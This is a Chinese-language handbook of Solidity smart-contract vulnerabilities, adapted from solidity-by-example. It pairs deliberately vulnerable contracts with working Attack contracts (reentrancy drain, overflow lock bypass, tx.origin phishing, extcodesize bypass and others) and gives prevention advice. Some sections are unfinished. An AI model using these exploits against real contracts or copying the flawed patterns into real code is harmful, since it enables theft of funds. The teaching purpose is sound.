solidity安全漏洞黑客攻击案例手册
https://solidity-by-example.org
中文参考 https://learnblockchain.cn/article/3834
安全实践步骤
· 了解常见的安全漏洞
以上列出了一些合约漏洞,对此需要有一定的了解。
请熟悉 EIP-1470 提出的漏洞分类
· 学会使用安全工具
首先,有一个很棒的社区的总结《以太坊智能合约 —— 最佳安全开发指南》,强烈建议仔细阅读,虽然有部分内容可能过时了,但是仍然很有参考意义
· 对合约进行单元测试,truffle 使用Mocha测试框架和Chai进行断言,也要测试前端 DApp 将如何调用合约。
从 Truffle v5.1.0开始,您可以中断测试以调试测试流程并启动调试器,允许您设置断点、检查 Solidity 变量等。
然后,使用合约审计工具,如Mythril 和Slither 等,可以使用 solidity-coverage 检查测试的覆盖性。
· 使用开源的合约库
开源合约库经过严格的安全审查,很多项目依赖他们,一般而言比较可靠。
openzeppelin/contracts 提供了常见的合约库,实现了一些标准库,如 ERC20、ERC721,仓库中可阅读源码。
dappsys 是一个新兴的合约库,用法参见文档文档
一、重入攻击
漏洞
假设合约A调用合约B。
重入漏洞允许在完成执行之前B回调。
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; /* EtherStore is a contract where you can deposit and withdraw ETH. This contract is vulnerable to re-entrancy attack. Let's see why. 1. Deploy EtherStore 2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore 3. Deploy Attack with address of EtherStore 4. Call Attack.attack sending 1 ether (using Account 3 (Eve)). You will get 3 Ethers back (2 Ether stolen from Alice and Bob, plus 1 Ether sent from this contract). What happened? Attack was able to call EtherStore.withdraw multiple times before EtherStore.withdraw finished executing. Here is how the functions were called - Attack.attack - EtherStore.deposit - EtherStore.withdraw - Attack fallback (receives 1 Ether) - EtherStore.withdraw - Attack.fallback (receives 1 Ether) - EtherStore.withdraw - Attack fallback (receives 1 Ether) */ contract EtherStore { mapping(address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { uint bal = balances[msg.sender]; require(bal > 0); (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); balances[msg.sender] = 0; } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; } } contract Attack { EtherStore public etherStore; constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } // Fallback is called when EtherStore sends Ether to this contract. fallback() external payable { if (address(etherStore).balance >= 1 ether) { etherStore.withdraw(); } } function attack() external payable { require(msg.value >= 1 ether); etherStore.deposit{value: 1 ether}(); etherStore.withdraw(); } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; } }
预防该漏洞
方法1、将withdraw取款方法时先对金额数据库进行修改再进行转账
方法2、加入重入锁修改器
确保在调用外部合约之前发生所有状态更改
使用防止重入的函数修饰符
如果发生重入攻击locked为true不能进行重入
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; contract ReEntrancyGuard { bool internal locked; modifier noReentrant() { require(!locked, "No re-entrancy"); locked = true; _; locked = false; } }
二、数学溢出攻击
漏洞
版本 < 0.8 Solidity中的整数溢出/下溢没有任何错误 版本 >= 0.8
Solidity 0.8 上溢/下溢的默认行为是抛出错误。
攻击锁仓合约
// SPDX-License-Identifier: MIT pragma solidity ^0.7.6; // This contract is designed to act as a time vault. // User can deposit into this contract but cannot withdraw for atleast a week. // User can also extend the wait time beyond the 1 week waiting period. /* 1. Deploy TimeLock 2. Deploy Attack with address of TimeLock 3. Call Attack.attack sending 1 ether. You will immediately be able to withdraw your ether. What happened? Attack caused the TimeLock.lockTime to overflow and was able to withdraw before the 1 week waiting period. */ contract TimeLock { mapping(address => uint) public balances; mapping(address => uint) public lockTime; function deposit() external payable { balances[msg.sender] += msg.value; lockTime[msg.sender] = block.timestamp + 1 weeks; } function increaseLockTime(uint _secondsToIncrease) public { lockTime[msg.sender] += _secondsToIncrease; } function withdraw() public { require(balances[msg.sender] > 0, "Insufficient funds"); require(block.timestamp > lockTime[msg.sender], "Lock time not expired"); uint amount = balances[msg.sender]; balances[msg.sender] = 0; (bool sent, ) = msg.sender.call{value: amount}(""); require(sent, "Failed to send Ether"); } } contract Attack { TimeLock timeLock; constructor(TimeLock _timeLock) { timeLock = TimeLock(_timeLock); } fallback() external payable {} function attack() public payable { timeLock.deposit{value: msg.value}(); /* if t = current lock time then we need to find x such that x + t = 2**256 = 0 so x = -t 2**256 = type(uint).max + 1 so x = type(uint).max + 1 - t */ timeLock.increaseLockTime( type(uint).max + 1 - timeLock.lockTime(address(this)) ); timeLock.withdraw(); } }
解决方法
使用SafeMath将防止算术上溢和下溢
Solidity 0.8 默认为上溢/下溢抛出错误
三、自毁漏洞
可以通过调用从区块链中删除合约selfdestruct。
selfdestruct将存储在合约中的所有剩余以太币发送到指定地址。
A、B账户分别存入1个ETH C账户通过攻击合约存入5个主币后,合约余额还在但是合约已经销毁 谁也无法再进行游戏取出
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; // The goal of this game is to be the 7th player to deposit 1 Ether. // Players can deposit only 1 Ether at a time. // Winner will be able to withdraw all Ether. /* 1. Deploy EtherGame 2. Players (say Alice and Bob) decides to play, deposits 1 Ether each. 2. Deploy Attack with address of EtherGame 3. Call Attack.attack sending 5 ether. This will break the game No one can become the winner. What happened? Attack forced the balance of EtherGame to equal 7 ether. Now no one can deposit and the winner cannot be set. */ contract EtherGame { uint public targetAmount = 7 ether; address public winner; function deposit() public payable { require(msg.value == 1 ether, "You can only send 1 Ether"); uint balance = address(this).balance; require(balance <= targetAmount, "Game is over"); if (balance == targetAmount) { winner = msg.sender; } } function claimReward() public { require(msg.sender == winner, "Not winner"); (bool sent, ) = msg.sender.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); } } contract Attack { EtherGame etherGame; constructor(EtherGame _etherGame) { etherGame = EtherGame(_etherGame); } function attack() public payable { // You can simply break the game by sending ether so that // the game balance >= 7 ether // cast address to payable address payable addr = payable(address(etherGame)); selfdestruct(addr); } }
预防方法
不要依赖address(this).balance的使用
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract EtherGame {
uint public targetAmount = 3 ether;
uint public balance;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
balance += msg.value; ( 替代address(this).balance )
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: balance}("");
require(sent, "Failed to send Ether");
}
}
四、Private Data 私人数据漏洞
预防方法 不要在区块链上存储敏感信息,关键密码私钥等信息。
contract Vault { // slot 0 uint public count = 123; // slot 1 address public owner = msg.sender; bool public isTrue = true; uint16 public u16 = 31; // slot 2 bytes32 private password; // constants do not use storage uint public constant someConst = 123; // slot 3, 4, 5 (one for each array element) bytes32[3] public data; struct User { uint id; bytes32 password; } ...
五、委托调用合约漏洞
delegatecall使用起来很棘手,错误的使用或不正确的理解会导致毁灭性的后果。
委托调用合约在接收ETH主币有BUG,为了安全起见不接收ETH主币或不开启币支付功能
使用时必须牢记两件事delegatecall
1、delegatecall保留上下文(存储、调用者等…)
2、delegatecall合约调用和合约被调用的存储布局必须相同
预防技术 使用无状态Library ? (waiting research)
六、随机性来源漏洞
blockhash并且block.timestamp不是随机性的可靠来源。
预防技术 不要使用blockhashandblock.timestamp作为随机性的来源
contract GuessTheRandomNumber { constructor() payable {} function guess(uint _guess) public { uint answer = uint( keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) ); if (_guess == answer) { (bool sent, ) = msg.sender.call{value: 1 ether}(""); require(sent, "Failed to send Ether"); } } } contract Attack { receive() external payable {} function attack(GuessTheRandomNumber guessTheRandomNumber) public { uint answer = uint( keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) ); guessTheRandomNumber.guess(answer); } // Helper function to check balance function getBalance() public view returns (uint) { return address(this).balance; } }
七、拒绝服务攻击
依赖某些特定条件才能执行的逻辑,如果有人恶意破坏并且没有检查是否满足条件,就会造成服务中断。
例如下面的例子:依赖接收者可以接收以太币,但是如果接收以太币的合约无 receive 函数或者 fallback 函数,就会让逻辑无法进行下去。
多人竞拍,如果有出价更高的则退回上个一竞拍者的以太币,并且更新胜出者 king 和当前标价 balance,Attack 合约参与竞拍,但是无法退回以太币给它,导致 DOS。
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; contract KingOfEther { address public king; uint public balance; function claimThrone() external payable { require(msg.value > balance, "Need to pay more to become the king"); (bool sent, ) = king.call{value: balance}(""); require(sent, "Failed to send Ether"); balance = msg.value; king = msg.sender; } } contract Attack { KingOfEther kingOfEther; constructor(KingOfEther _kingOfEther) { kingOfEther = KingOfEther(_kingOfEther); } function attack() public payable { kingOfEther.claimThrone{value: msg.value}(); } }
预防方法 防止这种情况的一种方法是允许用户提取他们的以太币而不是发送它。
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; contract KingOfEther { address public king; uint public balance; mapping(address => uint) public balances; function claimThrone() external payable { require(msg.value > balance, "Need to pay more to become the king"); balances[king] += balance; balance = msg.value; king = msg.sender; } function withdraw() public { require(msg.sender != king, "Current king cannot withdraw"); uint amount = balances[msg.sender]; balances[msg.sender] = 0; (bool sent, ) = msg.sender.call{value: amount}(""); require(sent, "Failed to send Ether"); } }
八、使用 tx.origin 进行钓鱼
What’s the difference between msg.sender and tx.origin?
If contract A calls B, and B calls C, in C msg.sender is B and tx.origin is A.
用交易的发起者作为判断条件,可能会被精心设计的回退函数利用,转而调用其他的合约,tx.origin 仍然是最初的交易发起者,但是执行人却已经改变了。
如下面 phish 合约中的 withdrawAll 函数的要求的是 tx.origin = owner,那么如果是 owner 向 TxOrigin 合约发送以太币,就会触发 fallback 函数,在 attack 函数中调用 withdrawAll 函数,窃取以太币。
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract phish { address public owner; constructor () { owner = msg.sender; } receive() external payable{} fallback() external payable{} function withdrawAll (address payable _recipient) public { require(tx.origin == owner); _recipient.transfer(address(this).balance); } function getOwner() public view returns(address) { return owner; } } contract TxOrigin { address owner; phish PH; constructor(address phishAddr) { owner = msg.sender; PH=phish(payable(phishAddr)); } function attack() internal { address phOwner = PH.getOwner(); if (phOwner == msg. sender) { PH.withdrawAll(payable(owner)); } else { payable(owner).transfer(address(this). balance); } } fallback() external payable{ attack(); } }
预防技术 使用msg.sender代替tx.origin
function transfer(address payable _to, uint256 _amount) public { require(msg.sender == owner, "Not owner"); (bool sent, ) = _to.call.value(_amount)(""); require(sent, "Failed to send Ether"); }
九、用外部合约隐藏恶意代码
漏洞
在 Solidity 中,任何地址都可以转换为特定的合约,即使该地址上的合约不是被转换的合约。
这可以被利用来隐藏恶意代码。让我们看看如何。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
/*
Let's say Alice can see the code of Foo and Bar but not Mal.
It is obvious to Alice that Foo.callBar() executes the code inside Bar.log().
However Eve deploys Foo with the address of Mal, so that calling Foo.callBar()
will actually execute the code at Mal.
*/
/*
1. Eve deploys Mal
2. Eve deploys Foo with the address of Mal
3. Alice calls Foo.callBar() after reading the code and judging that it is
safe to call. Alice调用之后阅读了源代码并且判断是非常安全的
4. Although Alice expected Bar.log() to be execute, Mal.log() was executed.
尽管Alice执行了 Bar.log 但是 Mal.log() 也执行了
*/
contract Foo {
Bar bar; //这里并没有使用 public 导致外部不可见
constructor(address _bar) {
bar = Bar(_bar);
}
function callBar() public {
bar.log();
}
}
contract Bar {
event Log(string message);
function log() public {
emit Log("Bar was called");
}
}
// This code is hidden in a separate file
contract Mal {
event Log(string message);
// function () external {
// emit Log("Mal was called");
// }
// Actually we can execute the same exploit even if this function does
// not exist by using the fallback
function log() public {
emit Log("Mal was called");
}
}
预防方法
在构造函数中初始化一个新合约
制作外部合约的地址,public以便可以查看外部合约的代码
Bar public bar; constructor() public { bar = new Bar(); }
十、抢跑 交易顺序依赖
某些合约依赖收到交易地顺序,例如某些竞猜或者首发,“第一个” 之类的要求,那么就容易出现抢跑 (front run) 的情况。再例如,利用不同代币汇率差别,观察交易池,抢先在汇率变化之前完成交易。
下面是通过哈希值竞猜,观察交易池,以更高的 gasprice 抢跑。
爱丽丝创建了一个猜谜游戏。
如果您能找到散列到目标的正确字符串,您将赢得 10 个以太币,让我们看看这个合约如何容易受到抢先交易的影响。
1. Alice 使用 10 个 Ether 部署 FindThisHash。
2. Bob 找到将散列到目标散列的正确字符串。 (”Ethereum”)
3. Bob 调用solve(“Ethereum”),gas 价格设置为15 gwei。
4. Eve 正在观察交易池等待提交的答案。
5. Eve 看到 Bob 的回答并以更高的 gas 价格调用 solve(“Ethereum”) 100 gwei
6. Eve 的交易在 Bob 的交易之前被挖掘。Eve 获得了 10 个以太币的奖励。
发生了什么?
1. 交易需要一些时间才能被挖掘。
2. 尚未挖掘的交易被放入交易池中。
3. 天然气价格较高的交易通常首先被开采。
4. 攻击者可以从交易池中得到答案,发送交易
5. 具有更高的汽油价格,以便他们的交易将包含在一个区块中在原版之前。
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; contract FindThisHash { bytes32 public constant hash = 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2; constructor() payable {} function solve(string memory solution) public { require(hash == keccak256(abi.encodePacked(solution)), "Incorrect answer"); (bool sent, ) = msg.sender.call{value: 10 ether}(""); require(sent, "Failed to send Ether"); } }
Preventative Techniques
1、 use commit-reveal scheme 提交揭示方案 有待研究 应用于 抛硬币、零知识证明、签名方案、可验证密钥共享
https://en.wikipedia.org/wiki/Commitment_scheme
2、use submarine send 潜艇发送方式,有待研究
https://github.com/lorenzb/libsubmarine
十一、挖矿属性依赖 依赖块时间戳
block.timestamp 块时间戳 可以由具有以下约束的矿工操纵
合约中有部分内置变量,这些变量会受到矿工的影响,因此不应该把它们当作特定的判断条件。
轮盘赌是一种游戏,您可以在其中赢得合同中的所有以太币
如果您可以在特定时间提交交易。
如果 block.timestamp % 15 == 0,玩家需要发送 10 个 Ether 并获胜。
*/
/*
1. 使用 10 Ether 部署轮盘赌
2. Eve 运行一个强大的矿工,可以操纵区块时间戳。
3. Eve 将 block.timestamp 设置为将来可被整除15,并找到目标区块哈希。
4. Eve 的区块成功入链,Eve 赢得轮盘赌游戏。
*/
contract Roulette { uint public pastBlockTime; constructor() payable {} function spin() external payable { require(msg.value == 10 ether); // must send 10 ether to play require(block.timestamp != pastBlockTime); // only 1 transaction per block pastBlockTime = block.timestamp; if (block.timestamp % 15 == 0) { //这里依赖了时间戳 (bool sent, ) = msg.sender.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); } } }
预防技术
不要用作block.timestamp作为判断和随机数的来源
十二、签名重放
一般而言,签名会和特定的交易或者消息绑定,但是为了业务逻辑自己设计的多重签名,可能会疏忽造成签名重复使用。例如下面的 transfer 函数,通过库合约恢复发送者地址,但是如果签名是可重用的,那么就会造成意外的取款行为。
十三、绕过合约大小检查
漏洞
如果地址是合约,那么存储在该地址的代码大小将大于 0,对吧?
让我们看看如何创建一个返回的代码大小extcodesize等于 0 的合约。
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; contract Target { function isContract(address account) public view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint size; assembly { size := extcodesize(account) } return size > 0; } bool public pwned = false; function protected() external { require(!isContract(msg.sender), "no contract allowed"); pwned = true; } } contract FailedAttack { // Attempting to call Target.protected will fail, // Target block calls from contract function pwn(address _target) external { // This will fail Target(_target).protected(); } } contract Hack { bool public isContract; address public addr; // When contract is being created, code size (extcodesize) is 0. // This will bypass the isContract() check constructor(address _target) { isContract = Target(_target).isContract(address(this)); addr = address(this); // This will work Target(_target).protected(); } }
十四、科学家绕过限制批量抢购NFT
使用工厂合约方法自动创建new多个铸造合约后自毁后进行归集
Loading Research …